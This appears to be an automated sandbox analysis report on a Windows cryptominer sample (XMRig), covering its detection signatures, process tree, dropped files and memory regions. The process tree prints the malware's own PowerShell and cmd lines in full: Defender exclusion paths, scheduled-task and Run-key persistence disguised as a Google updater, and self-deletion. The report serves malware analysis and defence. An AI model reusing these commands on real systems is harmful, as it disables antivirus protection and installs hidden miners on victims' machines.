Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1799s
  • max time network
    1802s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3444
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:4276
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1660
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4248
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:944
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:212
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4016
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:4728
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
            PID:1564
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:3396
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:3872
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:4076
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          1⤵
            PID:1752
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4924
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:4652

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 244KB
                • SHA256 d0f6eb513fb9750185256f2ab97728482da35f6e30d38057b1b095d37a374b8c
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 130KB
                • SHA256 394b8b138628903525d68c3428918d427be7d7dfb857bb9158492043254037a1
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 32fef7d0dd7c43bd3440fca325e363d04b667c385d13d4dd44528f35b0167bed
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_2g554i5w.xku.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2g554i5w.xku.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/944-47-0x00000211C2CB0000-0x00000211C2CC0000-memory.dmp

                memory/944-51-0x00007FF8F54F0000-0x00007FF8F5FB1000-memory.dmp

                memory/944-46-0x00007FF8F54F0000-0x00007FF8F5FB1000-memory.dmp

                memory/1564-169-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-151-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-187-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-185-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-191-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-130-0x000001E3C9540000-0x000001E3C9560000-memory.dmp

                memory/1564-193-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-195-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-197-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-179-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-177-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-175-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-173-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-171-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-128-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-167-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-165-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-163-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-161-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-159-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-157-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-189-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-149-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-147-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-145-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-126-0x000001E3C8F90000-0x000001E3C8FB0000-memory.dmp

                memory/1564-143-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-141-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-139-0x000001E3C9540000-0x000001E3C9560000-memory.dmp

                memory/1564-129-0x000001E3C9520000-0x000001E3C9540000-memory.dmp

                memory/1564-138-0x000001E3C9520000-0x000001E3C9540000-memory.dmp

                memory/1564-137-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-135-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-133-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-132-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1564-121-0x000001E3C8F20000-0x000001E3C8F40000-memory.dmp

                memory/1564-122-0x00007FF60F760000-0x00007FF60FF54000-memory.dmp

                memory/1660-1-0x000002B037960000-0x000002B037982000-memory.dmp

                memory/1660-13-0x000002B01D1F0000-0x000002B01D200000-memory.dmp

                memory/1660-12-0x000002B01D1F0000-0x000002B01D200000-memory.dmp

                memory/1660-11-0x00007FF8F54F0000-0x00007FF8F5FB1000-memory.dmp

                memory/1660-16-0x00007FF8F54F0000-0x00007FF8F5FB1000-memory.dmp

                memory/4016-64-0x000002DF64910000-0x000002DF64920000-memory.dmp

                memory/4016-81-0x000002DF7DCA0000-0x000002DF7DCBA000-memory.dmp

                memory/4016-75-0x00007FF41D040000-0x00007FF41D050000-memory.dmp

                memory/4016-77-0x000002DF7DA60000-0x000002DF7DB15000-memory.dmp

                memory/4016-76-0x000002DF64910000-0x000002DF64920000-memory.dmp

                memory/4016-78-0x000002DF7D7D0000-0x000002DF7D7DA000-memory.dmp

                memory/4016-74-0x000002DF7DA40000-0x000002DF7DA5C000-memory.dmp

                memory/4016-79-0x000002DF7DC60000-0x000002DF7DC7C000-memory.dmp

                memory/4016-80-0x000002DF7D7E0000-0x000002DF7D7EA000-memory.dmp

                memory/4016-54-0x000002DF64910000-0x000002DF64920000-memory.dmp

                memory/4016-53-0x00007FF8F54F0000-0x00007FF8F5FB1000-memory.dmp

                memory/4016-88-0x00007FF8F54F0000-0x00007FF8F5FB1000-memory.dmp

                memory/4016-85-0x000002DF64910000-0x000002DF64920000-memory.dmp

                memory/4016-82-0x000002DF7D7F0000-0x000002DF7D7F8000-memory.dmp

                memory/4016-84-0x000002DF7DC90000-0x000002DF7DC9A000-memory.dmp

                memory/4016-83-0x000002DF7DC80000-0x000002DF7DC86000-memory.dmp

                memory/4076-127-0x00007FF63C580000-0x00007FF63C596000-memory.dmp

                memory/4076-134-0x00007FF63C580000-0x00007FF63C596000-memory.dmp

                memory/4248-34-0x00007FF8F54F0000-0x00007FF8F5FB1000-memory.dmp

                memory/4248-32-0x000001FD98190000-0x000001FD981A0000-memory.dmp

                memory/4248-31-0x000001FD98190000-0x000001FD981A0000-memory.dmp

                memory/4248-27-0x00007FF8F54F0000-0x00007FF8F5FB1000-memory.dmp

                memory/4248-29-0x000001FD98190000-0x000001FD981A0000-memory.dmp

                memory/4248-30-0x000001FD98190000-0x000001FD981A0000-memory.dmp

                memory/4276-0-0x00007FF685C70000-0x00007FF685E81000-memory.dmp

                memory/4276-36-0x00007FF685C70000-0x00007FF685E81000-memory.dmp

                memory/4728-101-0x000002041A710000-0x000002041A720000-memory.dmp

                memory/4728-100-0x00007FF8F54F0000-0x00007FF8F5FB1000-memory.dmp

                memory/4728-113-0x000002041B3F0000-0x000002041B4A5000-memory.dmp

                memory/4728-112-0x000002041A710000-0x000002041A720000-memory.dmp

                memory/4728-108-0x00007FF4FC8E0000-0x00007FF4FC8F0000-memory.dmp

                memory/4728-116-0x00007FF8F54F0000-0x00007FF8F5FB1000-memory.dmp

                memory/4728-114-0x000002041A710000-0x000002041A720000-memory.dmp

                memory/4924-52-0x00007FF7969A0000-0x00007FF796BB1000-memory.dmp

                memory/4924-120-0x00007FF7969A0000-0x00007FF796BB1000-memory.dmp